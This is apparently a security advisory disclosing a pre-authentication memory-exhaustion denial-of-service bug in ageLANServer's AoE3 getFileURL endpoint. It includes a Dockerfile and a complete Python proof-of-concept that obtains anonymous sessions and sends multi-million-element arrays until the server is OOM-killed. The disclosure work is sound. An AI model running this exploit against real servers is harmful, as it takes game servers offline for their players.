ageLANServer: Unbounded JSON Array Allocation in AoE3 Cloud `getFileURL` Endpoint Leads to Remote Denial of Service

Summary

The AoE3 POST /game/cloud/getFileURL handler in luskaner/ageLANServer's bundled game server decodes an attacker-controlled names JSON array and immediately allocates response storage sized directly from the array's length (make(i.A, len(req.Names.Data))), with no request body size limit and no cap on the number of array elements anywhere in the request path. Because the default configuration ships with Authentication = 'disabled', any network client can obtain a session through unauthenticated platform login and then send a single crafted request that forces the server to allocate memory proportional to attacker-chosen input. Dynamic testing against an unmodified build confirmed both large memory-amplification growth from a single request and a full server process kill via the kernel OOM killer when a memory-constrained instance received a few concurrent oversized requests. This is a high-severity, pre-authentication (self-registration only) remote denial-of-service vulnerability (CVSS 3.1 Base Score 7.5, CWE-400).

Details

server/internal/routes/game/cloud/getFileURL.go defines the request struct and handler for the AoE3 cloud "get file URL" endpoint:

type getFileURLRequest struct {
	Names i.Json[[]string] `json:"names"`
}

func GetFileURL(w http.ResponseWriter, r *http.Request) {
	var req getFileURLRequest
	err := i.Bind(r, &req)
	...
	descriptions := make(i.A, len(req.Names.Data))
	for j, name := range req.Names.Data {
	...

Names is typed as i.Json[[]string], a wrapper whose UnmarshalText is invoked by encoding/json whenever the incoming JSON value for names is itself a string, so the attacker supplies a JSON-string-encoded array (e.g. {"names":"[\"x\",\"x\",...]"}). The request body is decoded in server/internal/http.go's Bind() via json.NewDecoder(r.Body).Decode(data), with no http.MaxBytesReader, no LimitReader, and no MaxHeaderBytes configured on the http.Server in server/internal/cmd/root.go. There is also no branch-neutral cap on len(req.Names.Data) — the same unbounded length is also used at getFileURL.go:27 (slices.Repeat(i.A{nil}, len(req.Names.Data)) when the cloud file cache is empty) in addition to the make(i.A, len(req.Names.Data)) sink at line 30.

Because len() on the attacker-supplied slice is used directly as an allocation size with no upper bound, an attacker can force the server to allocate memory (and CPU cycles decoding/iterating) proportional to the size of a single HTTP request body, which is itself unbounded.

Reaching this code path requires only a valid session, not real game ownership or credentials:

• The endpoint is registered for the AoE3 title at server/internal/routes/router/game.go:267.
• server/internal/routes/router/sessionMiddleware.go:23-36 only checks that sessionID resolves to an existing session — it performs no additional authorization.
• The default configuration server/resources/config/config.toml sets Authentication = 'disabled'. Combined with server/internal/routes/game/login/platformlogin.go, which issues a session for any client-supplied accountType/platformUserID without verifying it against a real platform, an attacker can obtain a valid sessionID with a single unauthenticated platformlogin request and no prior credentials.

Data flow (source → sink):

1. server/resources/unix/start_age3.sh:4 (or start_age3.bat) starts the release server with -e age3, the default supported way to run the AoE3 server.
2. server/internal/routes/router/game.go:267 registers POST /game/cloud/getFileURL.
3. server/internal/routes/router/sessionMiddleware.go:23-36 accepts any request bearing a valid sessionID.
4. server/internal/http.go decodes the JSON body into getFileURLRequest with no size limiting.
5. server/internal/routes/game/cloud/getFileURL.go:13-19 binds the attacker-controlled names array into req.Names.
6. server/internal/routes/game/cloud/getFileURL.go:27 and :30 allocate slices sized directly by len(req.Names.Data).

PoC

Environment: Docker (see Dockerfile), which builds the unmodified server and genCert binaries directly from the repository source at commit 405b9a9 (equivalent to the previously reported 870b90c) and starts the AoE3 server (./server -e age3) with the shipped default configuration (Authentication = 'disabled'), only disabling LAN announcement broadcast since it is irrelevant to the sandboxed reproduction.

Build and run:

docker build -f vuln-001/Dockerfile -t agelan-vuln001 repo
docker run -d --name agelan-vuln001-test -p 8443:443 --memory=300m agelan-vuln001

Attack script: poc.py (see file for full source). At a high level it:

1. Calls POST /game/login/platformlogin with an arbitrary Steam-style accountType/platformUserID/macAddress to obtain a session id, exploiting the default Authentication = 'disabled' setting.
2. Sends a small baseline POST /game/cloud/getFileURL?sessionID=<id> request (names array with 5 elements) and records server RSS before/after via docker exec ... cat /proc/1/status.
3. Sends a single request with names containing 2,000,000 elements and records the resulting RSS growth relative to request size (memory amplification).
4. Against the same container restarted with --memory=300m, fires 3 concurrent requests each with names containing 3,000,000 elements, then inspects docker inspect state to check for an OOM kill.

python3 poc.py --host 127.0.0.1 --port 8443 --container agelan-vuln001-test

Observed results (Phase 2 dynamic reproduction, unmodified source):

• Baseline request (names count = 5, 43 request bytes): server RSS unchanged (16928 KB → 16928 KB).
• Single moderately large request (names count = 2,000,000, 12,000,013 request bytes): server RSS jumped from 16,984 KB to 224,724 KB — a growth of 207,740 KB from a ~11.4 MB request (~17.73x amplification of request size in RSS growth).
• Concurrent attack phase against the same container limited to --memory=300m: 3 concurrent requests of names count = 3,000,000 each (18,000,013 bytes each) were sent; all 3 connections failed with RemoteDisconnected: Remote end closed connection without response. docker inspect confirmed the container transitioned from status=running, OOMKilled=false to status=exited, OOMKilled=true, ExitCode=137 — the kernel OOM killer terminated the server process.

No source code in the target repository was modified for this reproduction; the container builds and runs the vulnerable code exactly as shipped.

Impact

This is a remote, network-reachable, pre-authentication (self-registration-only) denial-of-service vulnerability (CWE-400: Uncontrolled Resource Consumption). Any client able to reach the AoE3 game server's HTTPS listener — the default and documented way to run ageLANServer for Age of Empires III — can obtain a session via the default unauthenticated login flow and then crash or hang the server process with a single well-crafted HTTP request or a small number of concurrent requests, without needing legitimate game credentials, prior interaction, or user interaction. Impact is availability-only (no confidentiality or integrity impact observed): all players connected to the affected LAN server lose service until the operator restarts the process.

Reproduction artifacts

Dockerfile

# syntax=docker/dockerfile:1
#
# VULN-001 PoC image for luskaner/ageLANServer.
# Builds the *unmodified* server and genCert binaries straight from the cloned
# repository source (no source-code edits) and runs the AoE3 game server so the
# unbounded-allocation "names" array bug in
#   server/internal/routes/game/cloud/getFileURL.go
# can be triggered over the network exactly as an attacker would.
#
# Build context MUST be the ageLANServer repository root, e.g.:
#   docker build -f vuln-001/Dockerfile -t agelan-vuln001 <path-to-repo>

FROM golang:1.26-alpine3.24 AS compiler
WORKDIR /app
COPY common common
COPY battle-server-broadcast battle-server-broadcast
COPY server server
COPY server-genCert server-genCert
# Combines tools/server-docker/Dockerfile/server/go.work.template and
# .../genCert/go.work.template so both the server and genCert binaries
# (both needed for this PoC) can be built from one module workspace.
RUN printf 'go 1.26.0\n\ntoolchain go1.26.5\n\nuse (\n\tcommon\n\tbattle-server-broadcast\n\tserver\n\tserver-genCert\n)\n' > go.work
RUN mkdir build
RUN cp -r server/resources build/resources && rm -rf build/resources/windows && rm -rf build/resources/unix
RUN mkdir -p build/resources/certificates
RUN go build -o build/server ./server
RUN mkdir build/bin
RUN go build -o build/bin/genCert ./server-genCert

FROM alpine:3.24
EXPOSE 443/tcp
WORKDIR /app/server
COPY --from=compiler /app/build/resources resources
COPY --from=compiler /app/build/server .
# genCert must live one directory below the server binary (server/bin/genCert)
# because it locates the server's resources folder via a relative
# "../resources" walk from its own executable path (see
# server-genCert/internal/cmd/root.go), same layout as the project's own
# tools/server-docker/Dockerfile/genCert/Dockerfile.
COPY --from=compiler /app/build/bin bin
# Authentication stays at the shipped default ('disabled', see
# server/resources/config/config.toml) - nothing about the vulnerable
# behavior is modified here. Announcement is turned off only because the
# sandbox network does not need LAN discovery for this PoC.
ENV AGELANSERVER_SERVER_Announcement_Enabled=false
ENTRYPOINT ["/bin/sh", "-c", "./bin/genCert --ignoreIfExisting && exec ./server -e age3 --log --flatLog --logRoot=/app/server/logs"]

poc.py

#!/usr/bin/env python3
"""
VULN-001 PoC: unbounded memory allocation via the "names" array in the
AoE3 `POST /game/cloud/getFileURL` endpoint of luskaner/ageLANServer
(server/internal/routes/game/cloud/getFileURL.go:30).

The handler does:
    descriptions := make(i.A, len(req.Names.Data))
with `req.Names.Data` being an attacker-controlled JSON string array decoded
with no size/body/array-length limit anywhere in the stack
(server/internal/http.go Bind() -> json.NewDecoder(r.Body).Decode()).

This script:
  1. Logs in anonymously (Authentication is 'disabled' by default) to obtain
     a session id via /game/login/platformlogin.
  2. Sends a small, harmless getFileURL request as a baseline.
  3. Sends a single moderately large getFileURL request and measures the
     server process RSS growth relative to the request body size
     (memory amplification evidence).
  4. Sends several large getFileURL requests concurrently against a
     memory-constrained container and checks whether Docker's cgroup OOM
     killer terminates the server process (crash evidence).

Only targets 127.0.0.1 / a local Docker container. No external hosts are
contacted, no credentials are used, and the target repository source code
is never modified.
"""

import argparse
import concurrent.futures
import http.client
import json
import ssl
import subprocess
import sys
import time
import urllib.parse

DEFAULT_HOST = "127.0.0.1"
DEFAULT_SNI_HOST = "aoe-api.reliclink.com"  # matches common.GameHosts() for age3


def make_connection(host, port, timeout=30):
    ctx = ssl._create_unverified_context()
    return http.client.HTTPSConnection(host, port, context=ctx, timeout=timeout)


def platform_login(host, port, sni_host, platform_user_id, mac_suffix):
    conn = make_connection(host, port)
    body = urllib.parse.urlencode({
        "accountType": "STEAM",
        "platformUserID": str(platform_user_id),
        "alias": "poc",
        "title": "age3",
        "macAddress": "00:11:22:33:44:%02x" % mac_suffix,
        "clientLibVersion": "100",
    })
    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "Host": sni_host,
    }
    conn.request("POST", "/game/login/platformlogin", body=body, headers=headers)
    resp = conn.getresponse()
    data = resp.read()
    conn.close()
    parsed = json.loads(data)
    session_id = parsed[1]
    if not session_id:
        raise RuntimeError("platformlogin did not return a session id: %r" % (parsed,))
    return session_id


def build_get_file_url_body(names_count):
    # getFileURLRequest.Names is i.Json[[]string]; i.Json.UnmarshalText is
    # invoked by encoding/json only when the JSON value is itself a string,
    # so the array must be double-encoded: {"names": "[\"x\",\"x\",...]"}.
    inner = ",".join([r'\"x\"'] * names_count)
    return ('{"names":"[' + inner + ']"}').encode()


def send_get_file_url(host, port, sni_host, session_id, names_count, timeout=30):
    body = build_get_file_url_body(names_count)
    conn = make_connection(host, port, timeout=timeout)
    path = "/game/cloud/getFileURL?sessionID=%s" % urllib.parse.quote(session_id)
    headers = {
        "Content-Type": "application/json",
        "Host": sni_host,
    }
    start = time.time()
    try:
        conn.request("POST", path, body=body, headers=headers)
        resp = conn.getresponse()
        data = resp.read()
        elapsed = time.time() - start
        return {
            "ok": True,
            "status": resp.status,
            "response_bytes": len(data),
            "request_bytes": len(body),
            "elapsed_sec": round(elapsed, 3),
        }
    except Exception as exc:
        elapsed = time.time() - start
        return {
            "ok": False,
            "error": "%s: %s" % (type(exc).__name__, exc),
            "request_bytes": len(body),
            "elapsed_sec": round(elapsed, 3),
        }
    finally:
        try:
            conn.close()
        except Exception:
            pass


def docker_exec_rss_kb(container):
    try:
        out = subprocess.run(
            ["docker", "exec", container, "cat", "/proc/1/status"],
            capture_output=True, text=True, timeout=10,
        )
        if out.returncode != 0:
            return None
        for line in out.stdout.splitlines():
            if line.startswith("VmRSS:"):
                return int(line.split()[1])
    except Exception:
        return None
    return None


def docker_inspect_state(container):
    try:
        out = subprocess.run(
            ["docker", "inspect", container, "--format",
             "{{.State.Status}}|{{.State.OOMKilled}}|{{.State.ExitCode}}"],
            capture_output=True, text=True, timeout=10,
        )
        if out.returncode != 0:
            return None
        status, oom_killed, exit_code = out.stdout.strip().split("|")
        return {
            "status": status,
            "oom_killed": oom_killed == "true",
            "exit_code": int(exit_code),
        }
    except Exception:
        return None


def main():
    parser = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter)
    parser.add_argument("--host", default=DEFAULT_HOST, help="Server address (must be local). Default: 127.0.0.1")
    parser.add_argument("--port", type=int, default=8443, help="Server HTTPS port as published by Docker. Default: 8443")
    parser.add_argument("--sni-host", default=DEFAULT_SNI_HOST, help="Host header the server routes as the Game handler")
    parser.add_argument("--container", default="agelan-vuln001-test", help="Docker container name to inspect for OOM / RSS evidence")
    parser.add_argument("--baseline-names-count", type=int, default=5, help="Array length for the harmless baseline request")
    parser.add_argument("--moderate-names-count", type=int, default=2_000_000, help="Array length for the single non-destructive amplification request")
    parser.add_argument("--attack-names-count", type=int, default=3_000_000, help="Array length per concurrent request in the crash phase")
    parser.add_argument("--attack-concurrency", type=int, default=3, help="Number of concurrent oversized requests fired at the container")
    parser.add_argument("--skip-crash-phase", action="store_true", help="Only run the baseline + amplification phases (no OOM attempt)")
    args = parser.parse_args()

    result = {"host": args.host, "port": args.port, "container": args.container}

    print("== Phase 1: anonymous login (Authentication='disabled' by default) ==")
    session_baseline = platform_login(args.host, args.port, args.sni_host, 7656119800000101, 0x01)
    print("Obtained session id: %s" % session_baseline)
    result["session_id_baseline"] = session_baseline

    print("\n== Phase 2: baseline getFileURL request (names count=%d) ==" % args.baseline_names_count)
    rss_before_baseline = docker_exec_rss_kb(args.container)
    baseline_resp = send_get_file_url(args.host, args.port, args.sni_host, session_baseline, args.baseline_names_count)
    rss_after_baseline = docker_exec_rss_kb(args.container)
    print("Response: %s" % baseline_resp)
    print("Server RSS before/after (KB): %s / %s" % (rss_before_baseline, rss_after_baseline))
    result["baseline"] = {
        "response": baseline_resp,
        "server_rss_kb_before": rss_before_baseline,
        "server_rss_kb_after": rss_after_baseline,
    }

    print("\n== Phase 3: single moderately large getFileURL request (names count=%d) ==" % args.moderate_names_count)
    session_moderate = platform_login(args.host, args.port, args.sni_host, 7656119800000102, 0x02)
    rss_before_moderate = docker_exec_rss_kb(args.container)
    moderate_resp = send_get_file_url(args.host, args.port, args.sni_host, session_moderate, args.moderate_names_count)
    rss_after_moderate = docker_exec_rss_kb(args.container)
    print("Response: %s" % moderate_resp)
    print("Server RSS before/after (KB): %s / %s" % (rss_before_moderate, rss_after_moderate))
    amplification = None
    if rss_after_moderate is not None and rss_before_moderate is not None and moderate_resp.get("request_bytes"):
        rss_growth_kb = rss_after_moderate - rss_before_moderate
        amplification = round((rss_growth_kb * 1024) / moderate_resp["request_bytes"], 2)
        print("Memory amplification: %d KB RSS growth from a %d byte request (~%sx request size)" % (
            rss_growth_kb, moderate_resp["request_bytes"], amplification))
    result["moderate_amplification"] = {
        "response": moderate_resp,
        "server_rss_kb_before": rss_before_moderate,
        "server_rss_kb_after": rss_after_moderate,
        "amplification_ratio": amplification,
    }

    if args.skip_crash_phase:
        print(json.dumps(result, indent=2))
        return 0

    print("\n== Phase 4: concurrent oversized getFileURL requests against the memory-constrained container ==")
    state_before = docker_inspect_state(args.container)
    print("Container state before attack: %s" % state_before)
    result["container_state_before_attack"] = state_before

    sessions = []
    for idx in range(args.attack_concurrency):
        sess = platform_login(args.host, args.port, args.sni_host, 7656119800000200 + idx, 0x10 + idx)
        sessions.append(sess)
    print("Obtained %d attacker sessions: %s" % (len(sessions), sessions))

    attack_responses = []
    with concurrent.futures.ThreadPoolExecutor(max_workers=args.attack_concurrency) as pool:
        futures = [
            pool.submit(send_get_file_url, args.host, args.port, args.sni_host, sess, args.attack_names_count, 60)
            for sess in sessions
        ]
        for fut in concurrent.futures.as_completed(futures):
            attack_responses.append(fut.result())
    print("Attack request outcomes: %s" % attack_responses)
    result["attack_responses"] = attack_responses

    state_after = None
    for _ in range(15):
        time.sleep(1)
        state_after = docker_inspect_state(args.container)
        if state_after and state_after["status"] != "running":
            break
    print("Container state after attack: %s" % state_after)
    result["container_state_after_attack"] = state_after

    oom_killed = bool(state_after and state_after.get("oom_killed"))
    result["oom_killed"] = oom_killed
    result["verdict"] = "VULNERABLE (container OOM-killed by attacker-controlled allocation)" if oom_killed else "NOT REPRODUCED (container survived)"

    print("\n== Result ==")
    print(json.dumps(result, indent=2))
    return 0 if oom_killed else 1


if __name__ == "__main__":
    sys.exit(main())